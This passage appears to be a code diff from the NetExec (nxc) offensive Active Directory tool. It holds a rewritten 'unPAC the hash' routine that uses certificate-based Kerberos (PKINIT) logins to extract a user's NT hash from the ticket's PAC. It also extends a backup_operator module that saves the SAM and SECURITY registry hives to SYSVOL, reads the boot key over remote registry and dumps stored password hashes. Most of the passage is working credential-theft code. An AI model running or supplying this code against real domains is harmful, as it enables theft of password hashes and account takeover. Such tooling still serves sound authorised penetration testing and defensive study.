-        # So here we have the PAC
-        pacType = PACTYPE(adIfRelevant[0]["ad-data"].asOctets())
-        buff = pacType["Buffers"]
-        found = False
-        for _bufferN in range(pacType["cBuffers"]):
-            infoBuffer = PAC_INFO_BUFFER(buff)
-            data = pacType["Buffers"][infoBuffer["Offset"] - 8:][:infoBuffer["cbBufferSize"]]
-            nxc_logger.debug(f"TYPE 0x{infoBuffer['ulType']}")
-            if infoBuffer["ulType"] == 2:
-                found = True
-                credinfo = PAC_CREDENTIAL_INFO(data)
-                newCipher = _enctype_table[credinfo["EncryptionType"]]
-                out = newCipher.decrypt(key, 16, credinfo["SerializedData"])
-                type1 = TypeSerialization1(out)
-                # I'm skipping here 4 bytes with its the ReferentID for the pointer
-                newdata = out[len(type1) + 4:]
-                pcc = PAC_CREDENTIAL_DATA(newdata)
-                for cred in pcc["Credentials"]:
-                    credstruct = NTLM_SUPPLEMENTAL_CREDENTIAL(b"".join(cred["Credentials"]))
-
-                    nxc_logger.info("Recovered NT Hash")
-                    nxc_logger.info(hexlify(credstruct["NtPassword"]).decode("utf-8"))
-                    nthash = hexlify(credstruct["NtPassword"]).decode("utf-8")
-
-            buff = buff[len(infoBuffer):]
-
-        if not found:
-            nxc_logger.info("Did not find the PAC_CREDENTIAL_INFO in the PAC. Are you sure your TGT originated from a PKINIT operation?")
-        return nthash
-
-    def __init__(self, username, domain, kdcHost, key, tgt):
-        self.__username = username
-        self.__domain = domain.upper()
-        self.__kdcHost = kdcHost
-        self.__asrep_key = key
-        self.__tgt = tgt["KDC_REP"]
-        self.__cipher = tgt["cipher"]
-        self.__sessionKey = tgt["sessionKey"]
-
-    def dump(self):
-        # Try all requested protocols until one works.
-        tgt = self.__tgt
-        cipher = self.__cipher
-        sessionKey = self.__sessionKey
-
-        decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]
-
-        # Extract the ticket from the TGT
-        ticket = Ticket()
-        ticket.from_asn1(decodedTGT["ticket"])
-
-        apReq = AP_REQ()
-        apReq["pvno"] = 5
-        apReq["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value)
-
-        opts = []
-        apReq["ap-options"] = constants.encodeFlags(opts)
-        seq_set(apReq, "ticket", ticket.to_asn1)
-
-        authenticator = Authenticator()
-        authenticator["authenticator-vno"] = 5
-        authenticator["crealm"] = str(decodedTGT["crealm"])
-
-        clientName = Principal()
-        clientName.from_asn1(decodedTGT, "crealm", "cname")
-
-        seq_set(authenticator, "cname", clientName.components_to_asn1)
-
-        now = datetime.datetime.utcnow()
-        authenticator["cusec"] = now.microsecond
-        authenticator["ctime"] = KerberosTime.to_asn1(now)
-
-        nxc_logger.debug("AUTHENTICATOR")
-        nxc_logger.debug(authenticator.prettyPrint() + "\n")
-
-        encodedAuthenticator = encoder.encode(authenticator)
-
-        # Key Usage 7
-        # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
-        # TGS authenticator subkey), encrypted with the TGS session
-        # key (Section 5.5.1)
-        encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
-
-        apReq["authenticator"] = noValue
-        apReq["authenticator"]["etype"] = cipher.enctype
-        apReq["authenticator"]["cipher"] = encryptedEncodedAuthenticator
-
-        encodedApReq = encoder.encode(apReq)
-
-        tgsReq = TGS_REQ()
-
-        tgsReq["pvno"] = 5
-        tgsReq["msg-type"] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
-
-        tgsReq["padata"] = noValue
-        tgsReq["padata"][0] = noValue
-        tgsReq["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
-        tgsReq["padata"][0]["padata-value"] = encodedApReq
-
-        reqBody = seq_set(tgsReq, "req-body")
-
-        opts = []
-        opts.append(constants.KDCOptions.forwardable.value)
-        opts.append(constants.KDCOptions.renewable.value)
-        opts.append(constants.KDCOptions.canonicalize.value)
-        opts.append(constants.KDCOptions.enc_tkt_in_skey.value)
-
-        reqBody["kdc-options"] = constants.encodeFlags(opts)
-
-        serverName = Principal(self.__username, type=constants.PrincipalNameType.NT_UNKNOWN.value)
-
-        seq_set(reqBody, "sname", serverName.components_to_asn1)
-        reqBody["realm"] = str(decodedTGT["crealm"])
-
-        now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
-
-        reqBody["till"] = KerberosTime.to_asn1(now)
-        reqBody["nonce"] = random.getrandbits(31)
-        seq_set_iter(reqBody, "etype",
-                     (int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value)))
-
-        myTicket = ticket.to_asn1(TicketAsn1())
-        seq_set_iter(reqBody, "additional-tickets", (myTicket,))
-        nxc_logger.debug("Final TGS")
-        nxc_logger.debug(tgsReq.prettyPrint())
-
-        message = encoder.encode(tgsReq)
-        nxc_logger.info("Requesting ticket to self with PAC")
-
-        r = sendReceive(message, self.__domain, self.__kdcHost)
-
-        tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
-
-        nxc_logger.debug("TGS_REP")
-        nxc_logger.debug(tgs.prettyPrint())
-
-        cipherText = tgs["ticket"]["enc-part"]["cipher"]
-
-        # Key Usage 2
-        # AS-REP Ticket and TGS-REP Ticket (includes tgs session key or
-        #  application session key), encrypted with the service key
-        #  (section 5.4.2)
-
-        # S4USelf + U2U uses this other key
-        plainText = cipher.decrypt(sessionKey, 2, cipherText)
-        specialkey = Key(18, unhexlify(self.__asrep_key))
-        return self.printPac(plainText, specialkey)
-
-
-def pfx_auth(self):
-    """Handles the authentication using a PFX or PEM file"""
-    # Static DH params because the ones generated by cryptography are considered unsafe by AD for some weird reason
-    dhparams = {
-        "p": int("00ffffffffffffffffc90fdaa22168c234c4c6628b80dc1cd129024e088a67cc74020bbea63b139b22514a08798e3404ddef9519b3cd3a431b302b0a6df25f14374fe1356d6d51c245e485b576625e7ec6f44c42e9a637ed6b0bff5cb6f406b7edee386bfb5a899fa5ae9f24117c4b1fe649286651ece65381ffffffffffffffff", 16),
-        "g": 2
-    }
-    self.logger.info("Loading certificate and key from file")
-
-    # Load the certificate and key from file
+    decoded_tgt = decoder.decode(tgt, asn1Spec=AS_REP())[0]
+    ticket = Ticket()
+    ticket.from_asn1(decoded_tgt["ticket"])
+    realm = str(decoded_tgt["crealm"])
+    now = datetime.datetime.now(datetime.UTC)
+
+    client_name = Principal()
+    client_name.from_asn1(decoded_tgt, "crealm", "cname")
+
+    authenticator = Authenticator()
+    authenticator["authenticator-vno"] = 5
+    authenticator["crealm"] = realm
+    seq_set(authenticator, "cname", client_name.components_to_asn1)
+    authenticator["cusec"] = now.microsecond
+    authenticator["ctime"] = KerberosTime.to_asn1(now)
+    connection.logger.debug(f"U2U authenticator: {authenticator.prettyPrint()}")
+
+    ap_req = AP_REQ()
+    ap_req["pvno"] = 5
+    ap_req["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value)
+    ap_req["ap-options"] = constants.encodeFlags([])
+    seq_set(ap_req, "ticket", ticket.to_asn1)
+    ap_req["authenticator"] = noValue
+    ap_req["authenticator"]["etype"] = cipher.enctype
+    # Key usage 7: the AP-REQ authenticator of a PA-TGS-REQ, encrypted with the TGT session key
+    ap_req["authenticator"]["cipher"] = cipher.encrypt(session_key, 7, encoder.encode(authenticator), None)
+
+    tgs_req = TGS_REQ()
+    tgs_req["pvno"] = 5
+    tgs_req["msg-type"] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
+    tgs_req["padata"] = noValue
+    tgs_req["padata"][0] = noValue
+    tgs_req["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
+    tgs_req["padata"][0]["padata-value"] = encoder.encode(ap_req)
+
+    req_body = seq_set(tgs_req, "req-body")
+    req_body["kdc-options"] = constants.encodeFlags([constants.KDCOptions.forwardable.value, constants.KDCOptions.renewable.value, constants.KDCOptions.canonicalize.value, constants.KDCOptions.enc_tkt_in_skey.value])
+    req_body["realm"] = realm
+    seq_set(req_body, "sname", Principal(username, type=constants.PrincipalNameType.NT_UNKNOWN.value).components_to_asn1)
+    req_body["till"] = KerberosTime.to_asn1(now + datetime.timedelta(days=1))
+    req_body["nonce"] = random.getrandbits(31)
+    seq_set_iter(req_body, "etype", (int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value)))
+    seq_set_iter(req_body, "additional-tickets", (ticket.to_asn1(TicketAsn1()),))
+
+    connection.logger.info("Requesting a U2U service ticket to ourselves to read the PAC")
     try:
-        if self.args.pfx_cert or self.args.pfx_base64:
-            pfx = self.args.pfx_cert if self.args.pfx_cert else self.args.pfx_base64
-            ini = myPKINIT.from_pfx(pfx, self.args.pfx_pass, dhparams, bool(self.args.pfx_base64))
-        elif self.args.pem_cert and self.args.pem_key:
-            ini = myPKINIT.from_pem(self.args.pem_cert, self.args.pem_key, dhparams)
-        else:
-            self.logger.fail("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file")
-            return None
+        response = sendReceive(encoder.encode(tgs_req), connection.domain, connection.kdcHost)
+        tgs_rep = decoder.decode(response, asn1Spec=TGS_REP())[0]
+        connection.logger.debug(f"U2U TGS-REP: {tgs_rep.prettyPrint()}")
+        # Key usage 2: with enc-tkt-in-skey the ticket is encrypted with the session key of the TGT sent along
+        enc_ticket_part = cipher.decrypt(session_key, 2, tgs_rep["ticket"]["enc-part"]["cipher"])
+        return read_nt_hash_from_pac(connection, enc_ticket_part, reply_key)
+    except (KerberosError, InvalidChecksum, PyAsn1Error, OSError, IndexError, KeyError) as e:   # IndexError: empty AD-IF-RELEVANT, KeyError: unknown etype
+        connection.logger.fail(f"Failed to unPAC the hash: {e}")
+        return None
+
+
+def pfx_auth(self, domain, username):
+    """Authenticate with a client certificate through PKINIT, then optionally unPAC the NT hash"""
+    if not self.kdcHost:
+        self.logger.fail(f"Could not resolve KDC host for domain {domain}. Use --kdcHost to specify the domain controller IP")
+        return False
+
+    self.logger.info("Loading certificate and key from file")
+    try:
+        credentials = pkinit_credentials(self.args)
     except FileNotFoundError as e:
         self.logger.fail(f"Certificate or key file not found: {e.filename}")
         return False
-    except Exception as e:
+    except (PKINITError, ValueError) as e:
         self.logger.fail(f"Failed to load certificate/key: {e}")
         return False
 
-    username = self.args.username[0]
-    basename = f"{self.hostname}_{self.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}-{username}.ccache"
-    log_ccache = os.path.normpath(os.path.expanduser(f"{NXC_PATH}/logs/{basename}"))
-
-    # Request a TGT with the cert data
-    req = ini.build_asreq(self.domain, username)
-    self.logger.info("Requesting TGT")
-
-    if not self.kdcHost:
-        self.logger.fail(f"Could not resolve KDC host for domain {self.domain}. Use --kdcHost to specify the domain controller IP")
+    if credentials is None:
+        self.logger.fail("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file")
         return False
 
-    sock = KerberosClientSocket(KerberosTarget(self.kdcHost))
+    self.logger.info(f"Requesting TGT for {username}@{domain} with the certificate")
+    client_name = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
     try:
-        res = sock.sendrecv(req)
-    except Exception as e:
-        self.logger.fail(str(e))
+        tgt, cipher, reply_key, session_key = getKerberosTGTPKINIT(client_name, domain, credentials, kdcHost=self.kdcHost)
+    except (PKINITError, KerberosError, OSError) as e:
+        self.logger.fail(f"Failed to get a TGT with the certificate: {e}")
         return False
 
-    encasrep, session_key, cipher, key = ini.decrypt_asrep(res.native)
-    ccache_minikerberos = CCACHE()
-    ccache_minikerberos.add_tgt(res.native, encasrep)
-    ccache_minikerberos.to_file(log_ccache)
-    self.logger.info(f"Saved TGT to file {log_ccache}")
-    self.logger.info(f"Using Kerberos Cache {log_ccache}")
-    ccache = impacket_CCache.loadFile(log_ccache)
-    principal = f"krbtgt/{self.domain.upper()}@{self.domain.upper()}"
-    creds = ccache.getCredential(principal)
-    if creds is not None:
-        tgt = creds.toTGT()
-        dumper = GETPAC(username, self.domain, self.kdcHost, key, tgt)
-        nthash = dumper.dump()
-        if not self.kerberos:
-            self.hash_login(self.domain, username, nthash)
-        else:
-            self.kerberos_login(self.domain, username, "", nthash, "", self.kdcHost, False)
+    ccache = CCache()
+    ccache.fromTGT(tgt, reply_key, session_key)
+    basename = sanitize_path_component(f"{self.hostname}_{self.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}-{username}.ccache")
+    ccache_path = os.path.normpath(os.path.expanduser(os.path.join(NXC_PATH, "logs", basename)))
+    ccache.saveFile(ccache_path)
+    self.logger.info(f"Saved TGT to {ccache_path}")
 
-    self.logger.info("Successfully authenticated using Certificate")
-    return True
+    if self.protocol == "winrm":   # nxc winrm has no Kerberos login: log in over NTLM with the unPACed hash, as before
+        nthash = unpac_the_hash(self, username, tgt, cipher, reply_key, session_key)
+        return bool(nthash) and self.hash_login(domain, username, nthash)
+
+    # Impacket reads the TGT of a Kerberos login from the cache this variable points at, for the whole process
+    os.environ["KRB5CCNAME"] = ccache_path
+    self.use_kcache = True
+    logged_in = self.kerberos_login(domain, username, "", "", "", self.kdcHost, True)
+
+    if self.protocol == "smb" and self.args.unpac:
+        nthash = unpac_the_hash(self, username, tgt, cipher, reply_key, session_key)
+        if nthash:
+            self.logger.highlight(f"{domain}\\{username} NT hash: {nthash}")
+            self.db.add_credential("hash", domain, username, nthash)
+
+    return logged_in
+
+
+def certificate_options(args):
+    """Return the LDAPConnection certificate options for the command line material, plus a temporary file the caller must delete."""
+    if args.pfx_cert:
+        return {"pfxfile": args.pfx_cert, "pfxpass": args.pfx_pass}, None
+
+    if args.pem_cert and args.pem_key:
+        return {"certfile": args.pem_cert, "keyfile": args.pem_key}, None
+
+    if args.pfx_base64:
+        with open(args.pfx_base64, "rb") as pfx_base64_file:
+            pfxdata = base64.b64decode(pfx_base64_file.read())
+        # impacket loads the bundle from a path, so the decoded PFX has to hit the disk
+        handle, pfx_path = tempfile.mkstemp(suffix=".pfx", dir=TMP_PATH)
+        with os.fdopen(handle, "wb") as pfx_file:
+            pfx_file.write(pfxdata)
+        return {"pfxfile": pfx_path, "pfxpass": args.pfx_pass}, pfx_path
+
+    raise ValueError("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file")

nxc/helpers/rpc.py

@@ -99,3 +99,34 @@ class NXCRPCConnection:
 
         self.setup_credentials(rpc_transport, anonymous_rpc)
         return rpc_transport
+
+
+def dcom_FirewallChecker(iInterface, remoteHost, timeout, logger):
+    stringBindings = iInterface.get_cinstance().get_string_bindings()
+    for strBinding in stringBindings:
+        if strBinding["wTowerId"] == 7:
+            if strBinding["aNetworkAddr"].find("[") >= 0:
+                binding, _, bindingPort = strBinding["aNetworkAddr"].partition("[")
+                bindingPort = "[" + bindingPort
+            else:
+                binding = strBinding["aNetworkAddr"]
+                bindingPort = ""
+
+            if binding.upper().find(iInterface.get_target().upper()) >= 0:
+                stringBinding = "ncacn_ip_tcp:" + strBinding["aNetworkAddr"][:-1]
+                break
+            elif iInterface.is_fqdn() and binding.upper().find(iInterface.get_target().upper().partition(".")[0]) >= 0:
+                stringBinding = f"ncacn_ip_tcp:{iInterface.get_target()}{bindingPort}"
+    if "stringBinding" not in locals():
+        return True, None
+    try:
+        rpctransport = transport.DCERPCTransportFactory(stringBinding)
+        rpctransport.setRemoteHost(remoteHost)
+        rpctransport.set_connect_timeout(timeout)
+        rpctransport.connect()
+        rpctransport.disconnect()
+    except Exception as e:
+        logger.debug(f"Exception while connecting to {stringBinding}: {e}")
+        return False, stringBinding
+    else:
+        return True, stringBinding

nxc/helpers/smb.py

@@ -0,0 +1,21 @@
+from impacket.smbconnection import SMBConnection
+
+
+def get_smb_connection(context, connection, timeout=3):
+    """SMB session reusing the credentials of the current connection, or None when it cannot be established.
+
+    A certificate-only bind (--schannel) leaves no secret behind, and logging in without
+    one would count as a bad password attempt on the target, so no session is attempted.
+    """
+    if not connection.has_reusable_secret:
+        context.log.fail("Cannot open an SMB session: a certificate-only bind (--schannel) provides no password, hash or Kerberos ticket")
+        return None
+
+    smb = SMBConnection(remoteName=connection.remoteName, remoteHost=connection.host, sess_port=445, timeout=timeout)
+    if connection.kerberos:
+        smb.kerberosLogin(user=connection.username, password=connection.password, domain=connection.domain, lmhash=connection.lmhash, nthash=connection.nthash, aesKey=connection.aesKey, kdcHost=connection.kdcHost, useCache=connection.use_kcache)
+    elif connection.nthash or connection.lmhash:
+        smb.login(connection.username, "", connection.domain, lmhash=connection.lmhash, nthash=connection.nthash)
+    else:
+        smb.login(connection.username, connection.password, connection.domain)
+    return smb

nxc/loaders/moduleloader.py

@@ -1,3 +1,4 @@
+import ast
 import nxc
 import importlib
 import traceback
@@ -6,6 +7,7 @@ import sys
 from os import listdir
 from os.path import basename, dirname
 from os.path import join as path_join
+from types import SimpleNamespace
 
 from nxc.context import Context
 from nxc.helpers.misc import CATEGORY
@@ -75,12 +77,9 @@ class ModuleLoader:
         return cls.module_cache[module_path]
 
     def load_module(self, module_path):
-        """Load a module, initializing it and checking that it has the proper attributes"""
+        """Load and initialize a module, list_modules() already checked that it has the proper attributes"""
         try:
-            module = self.load_module_file(module_path).NXCModule()
-
-            if self.module_is_sane(module, module_path):
-                return module
+            return self.load_module_file(module_path).NXCModule()
         except Exception as e:
             self.logger.fail(f"Failed loading module at {module_path}: {e}")
             self.logger.debug(traceback.format_exc())
@@ -132,8 +131,28 @@ class ModuleLoader:
             self.logger.fail(f"Failed loading module at {module_path}: {e}")
             self.logger.debug(traceback.format_exc())
 
-    def list_modules(self):
-        """List modules without initializing them"""
+    def get_module_info_static(self, module_path):
+        """Read the listing info of a module from its source without running it, falling back to get_module_info() if it is not plain literals"""
+        try:
+            with open(module_path, "rb") as f:
+                module_class = [node for node in ast.parse(f.read()).body if isinstance(node, ast.ClassDef) and node.name == "NXCModule"][-1]
+
+            # ast can't see what a base class or a decorator adds, so these modules are imported
+            if not module_class.bases and not module_class.decorator_list:
+                values = {target.id: node.value for node in module_class.body if isinstance(node, ast.Assign) for target in node.targets if isinstance(target, ast.Name)}
+                module = SimpleNamespace(
+                    **{node.name: node for node in module_class.body if isinstance(node, ast.FunctionDef | ast.AsyncFunctionDef)},
+                    **{key: ast.literal_eval(values[key]) for key in ("name", "description", "supported_protocols")},
+                    category=CATEGORY[values["category"].attr],
+                )
+                # No "options" key on purpose: only -M --options reads it, and -M goes through get_module_info()
+                return {module.name: {"path": module_path, "description": module.description, "supported_protocols": module.supported_protocols, "category": module.category, "requires_admin": hasattr(module, "on_admin_login")}} if self.module_is_sane(module, module_path) else {}
+        except Exception as e:
+            self.logger.debug(f"Could not read {module_path} statically: {e}")
+        return self.get_module_info(module_path)
+
+    def list_modules(self, names=None):
+        """List modules without initializing them, only the ones in names if given"""
         modules = {}
         modules_paths = [
             path_join(dirname(nxc.__file__), "modules"),
@@ -142,10 +161,11 @@ class ModuleLoader:
 
         for path in modules_paths:
             for module in listdir(path):
-                if module[-3:] == ".py" and module != "example_module.py":
+                if module[-3:] == ".py" and module != "example_module.py" and (names is None or module[:-3] in names):
                     try:
                         module_path = path_join(path, module)
-                        module_data = self.get_module_info(module_path)
+                        # -L reads the shipped modules statically, user modules are still imported so a broken one is reported
+                        module_data = self.get_module_info_static(module_path) if names is None and path == modules_paths[0] else self.get_module_info(module_path)
                         modules.update(module_data)
                     except Exception as e:
                         self.logger.debug(f"Error loading module {module}: {e}")

nxc/modules/backup_operator.py

@@ -1,5 +1,6 @@
 import contextlib
 import re
+from binascii import unhexlify
 
 from impacket.examples.secretsdump import SAMHashes, LSASecrets, LocalOperations
 from impacket.smbconnection import SessionError
@@ -23,10 +24,61 @@ class NXCModule:
         self.machine_account_hash = None
         self.cleanup_user = None
         self.cleanup_hash = None
+        self.system_hive_saved = False
 
     def options(self, context, module_options):
         """NO OPTIONS"""
 
+    def get_boot_key(self, context, dce):
+        """
+        Reads the boot key LIVE from the four Lsa subkeys' class-name field over RPC,
+        using the already-connected `dce` this module sets up for the SAM/SECURITY
+        hive saves. If this succeeds, no SYSTEM hive is ever saved to SYSVOL or
+        downloaded at all.
+
+        Hand-ported from impacket's RemoteOperations.getBootKey() rather than calling
+        RemoteOperations directly, because RemoteOperations.enableRegistry() starts the
+        RemoteRegistry service via the Service Control Manager -- which needs admin-level
+        rights a plain Backup Operator doesn't have. This module already gets
+        RemoteRegistry running via trigger_winreg()'s named-pipe trick instead, which
+        works within Backup Operator's actual privileges (SeBackupPrivilege), so we reuse
+        that connection here.
+
+        Raises on any failure (access denied, path not allowed remotely, RPC error, etc.)
+        so the caller can fall back to the full SYSTEM hive save/download path.
+        """
+        boot_key = b""
+        ans = rrp.hOpenLocalMachine(dce)
+        reg_handle = ans["phKey"]
+
+        for key in ["JD", "Skew1", "GBG", "Data"]:
+            context.log.debug(f"Retrieving class info for Lsa\\{key}")
+            ans = rrp.hBaseRegOpenKey(
+                dce,
+                reg_handle,
+                f"SYSTEM\\CurrentControlSet\\Control\\Lsa\\{key}",
+                dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK,
+                samDesired=rrp.KEY_READ,
+            )
+            key_handle = ans["phkResult"]
+            ans = rrp.hBaseRegQueryInfoKey(dce, key_handle)
+            class_out = ans["lpClassOut"]
+            if isinstance(class_out, str):
+                class_out = class_out.encode()
+            boot_key += class_out[:-1]
+            rrp.hBaseRegCloseKey(dce, key_handle)
+
+        rrp.hBaseRegCloseKey(dce, reg_handle)
+
+        transforms = [8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7]
+        boot_key = unhexlify(boot_key)
+
+        final_boot_key = b""
+        for i in range(len(boot_key)):
+            final_boot_key += boot_key[transforms[i]:transforms[i] + 1]
+
+        return final_boot_key
+
     def on_login(self, context, connection):
         connection.args.share = "SYSVOL"
         rand_suffix = gen_random_string(8)
@@ -36,8 +88,11 @@ class NXCModule:
         connection.trigger_winreg()
         dce = NXCRPCConnection(connection).connect(r"\winreg", rrp.MSRPC_UUID_RRP)
 
+        boot_key = None
         try:
-            for hive in ["HKLM\\SAM", "HKLM\\SYSTEM", "HKLM\\SECURITY"]:
+            # Large hives can take minutes to save before the RPC call returns.
+            connection.conn.setTimeout(max(connection.args.smb_timeout, 60))
+            for hive in ["HKLM\\SAM", "HKLM\\SECURITY"]:
                 hRootKey, subKey = self._strip_root_key(dce, hive)
                 outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}_{rand_suffix}"
                 context.log.debug(f"Dumping {hive}, be patient it can take a while for large hives (e.g. HKLM\\SYSTEM)")
@@ -48,17 +103,44 @@ class NXCModule:
                 except Exception as e:
                     context.log.fail(f"Couldn't save {hive}: {e} on path {outputFileName}")
                     return
+
+            try:
+                context.log.display("Attempting to retrieve boot key live from the remote registry...")
+                boot_key = self.get_boot_key(context, dce)
+                context.log.highlight("Boot key retrieved live -- skipping SYSTEM hive save/download.")
+            except Exception as e:
+                context.log.fail(f"Live boot key retrieval failed ({type(e).__name__}: {e}), falling back to full SYSTEM hive download...")
+                boot_key = None
+
+            if boot_key is None:
+                hRootKey, subKey = self._strip_root_key(dce, "HKLM\\SYSTEM")
+                outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}_{rand_suffix}"
+                context.log.debug("Dumping HKLM\\SYSTEM, be patient it can take a while for large hives (e.g. HKLM\\SYSTEM)")
+                try:
+                    ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK, samDesired=rrp.KEY_READ)
+                    rrp.hBaseRegSaveKey(dce, ans2["phkResult"], outputFileName)
+                    context.log.highlight(f"Saved HKLM\\SYSTEM to {outputFileName}")
+                    self.system_hive_saved = True
+                except Exception as e:
+                    context.log.fail(f"Couldn't save HKLM\\SYSTEM: {e} on path {outputFileName}")
+                    return
         except (Exception, KeyboardInterrupt) as e:
             context.log.fail(f"Unexpected error: {e}")
             return
         finally:
+            connection.conn.setTimeout(connection.args.smb_timeout)
             with contextlib.suppress(Exception):
                 dce.disconnect()
 
         # copy remote file to local
         log_path = f"{connection.output_filename}."
-        for hive in ["SAM", "SECURITY", "SYSTEM"]:
+        connection.conn.setTimeout(max(connection.args.smb_timeout, 60))
+        hives_to_download = ["SAM", "SECURITY"]
+        if self.system_hive_saved:
+            hives_to_download.append("SYSTEM")
+        for hive in hives_to_download:
             connection.get_file_single(f"{hive}_{rand_suffix}", log_path + hive)
+        connection.conn.setTimeout(connection.args.smb_timeout)
 
         # read local file
         try:
@@ -84,8 +166,10 @@ class NXCModule:
                         self.machine_account = account_name if account_name.endswith("$") else f"{connection.hostname}$"
                         return
 
-            local_operations = LocalOperations(log_path + "SYSTEM")
-            boot_key = local_operations.getBootKey()
+            if boot_key is None:
+                local_operations = LocalOperations(log_path + "SYSTEM")
+                boot_key = local_operations.getBootKey()
+
             sam_hashes = SAMHashes(log_path + "SAM", boot_key, isRemote=False, perSecretCallback=parse_sam)
             sam_hashes.dump()
             sam_hashes.finish()
@@ -137,7 +221,9 @@ class NXCModule:
         connection.create_conn_obj()
         if connection.hash_login(connection.domain, username, user_hash):
             context.log.display(f"Cleaning dump with user {username} on domain {connection.domain}")
-            hives = ["SAM", "SECURITY", "SYSTEM"]
+            hives = ["SAM", "SECURITY"]
+            if self.system_hive_saved:
+                hives.append("SYSTEM")
             all_deleted = True
             for hive in hives:
                 remote_name = f"{hive}_{rand_suffix}"
@@ -194,7 +280,10 @@ class NXCModule:
         return None, None
 
     def _print_cleanup_warning(self, context, rand_suffix):
-        context.log.fail(f"Files were not automatically deleted. Please clean up manually: C:\\Windows\\sysvol\\sysvol\\SECURITY_{rand_suffix}, SAM_{rand_suffix}, SYSTEM_{rand_suffix}")
+        paths = f"C:\\Windows\\sysvol\\sysvol\\SECURITY_{rand_suffix}, SAM_{rand_suffix}"
+        if self.system_hive_saved:
+            paths += f", SYSTEM_{rand_suffix}"
+        context.log.fail(f"Files were not automatically deleted. Please clean up manually: {paths}")
 
     def _strip_root_key(self, dce, key_name):
         # Let's strip the root key

nxc/modules/bitlocker.py

@@ -1,141 +1,116 @@
-import re
-from impacket.dcerpc.v5.dcom import wmi
-from impacket.dcerpc.v5.dtypes import NULL
-from impacket.dcerpc.v5.dcomrt import DCOMConnection
-from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
-from nxc.helpers.misc import CATEGORY
-
-
-class NXCModule:
-    name = "bitlocker"
-    description = "Enumerating BitLocker Status on target(s) If it is enabled or disabled."
-    supported_protocols = ["smb", "wmi"]
-    category = CATEGORY.ENUMERATION
-
-    def __init__(self, context=None, module_options=None):
-        self.context = context
-        self.module_options = module_options
-
-    def options(self, context, module_options):
-        """
-        USAGE:
-
-        NetExec smb <IP> -u <username> -p <password> -M bitlocker
-        NetExec wmi <IP> -u <username> -p <password> -M bitlocker (Better option to use on real life.)
-        """
-
-    def on_admin_login(self, context, connection):
-        if context.protocol == "smb":
-            bitlocker_smb = BitLockerSMB(context, connection)
-            bitlocker_smb.check_bitlocker_status()
-        elif context.protocol == "wmi":
-            bitlocker_wmi = BitLockerWMI(context, connection)
-            bitlocker_wmi.check_bitlocker_status()
-
-
-class BitLockerSMB:
-    def __init__(self, context, connection):
-        self.context = context
-        self.connection = connection
-
-    def check_bitlocker_status(self):
-        # PowerShell command to check BitLocker volumes status.
-        check_bitlocker_command_str = 'powershell.exe "Get-BitLockerVolume | Select-Object MountPoint, EncryptionMethod, ProtectionStatus"'
-
-        try:
-            # Executing the PowerShell command to get BitLocker volumes status.
-            check_bitlocker_command_str_output = self.connection.execute(check_bitlocker_command_str, True)
-
-            if "'Get-BitLockerVolume' is not recognized" in check_bitlocker_command_str_output:
-                self.context.log.fail("BitLockerVolume not found on target.")
-                return
-
-            # Splitting the output into lines.
-            lines = str(check_bitlocker_command_str_output).splitlines()
-            data_lines = [line for line in lines if re.match(r"\w:", line)]
-
-            for line in data_lines:
-                # Checking every line for starting with drive
-                if line[1] == ":":
-                    parts = line.split()
-                    MountPoint, EncryptionMethod, protection_status = parts[0], parts[1], parts[2]
-
-                    # Checking if BitLocker is enabled.
-                    if protection_status == "On":
-                        self.context.log.highlight(f"BitLocker is enabled on drive {MountPoint} (Encryption Method: {EncryptionMethod})")
-                    else:
-                        self.context.log.highlight(f"BitLocker is disabled on drive {MountPoint}")
-        except Exception as e:
-            self.context.log.exception(f"Exception occurred: {e}")
-
-
-class BitLockerWMI:
-    def __init__(self, context, connection):
-        self.context = context
-        self.connection = connection
-
-    def check_bitlocker_status(self):
-        try:
-            # Create a DCOM connection
-            dcom_conn = DCOMConnection(
-                self.connection.host,
-                self.connection.username,
-                self.connection.password,
-                self.connection.domain,
-                self.connection.lmhash,
-                self.connection.nthash,
-                oxidResolver=True,
-                doKerberos=self.connection.kerberos,
-                kdcHost=self.connection.kdcHost)
-
-            try:
-                # CoCreateInstanceEx for WMI login
-                i_interface = dcom_conn.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
-                iWbemLevel1Login = wmi.IWbemLevel1Login(i_interface)
-
-                # Specify the namespace for BitLocker
-                bitlockerNamespace = "root\\CIMv2\\Security\\MicrosoftVolumeEncryption"
-
-                # NTLM login for WMI
-                iWbemServices = iWbemLevel1Login.NTLMLogin(bitlockerNamespace, NULL, NULL)
-
-                # Set authentication level
-                iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
-
-                # Query to get BitLocker status
-                classQuery = "SELECT DriveLetter, ProtectionStatus, EncryptionMethod FROM Win32_EncryptableVolume"
-                iEnumWbemClassObject = iWbemServices.ExecQuery(classQuery)
-                encryptionTypeMapping = {
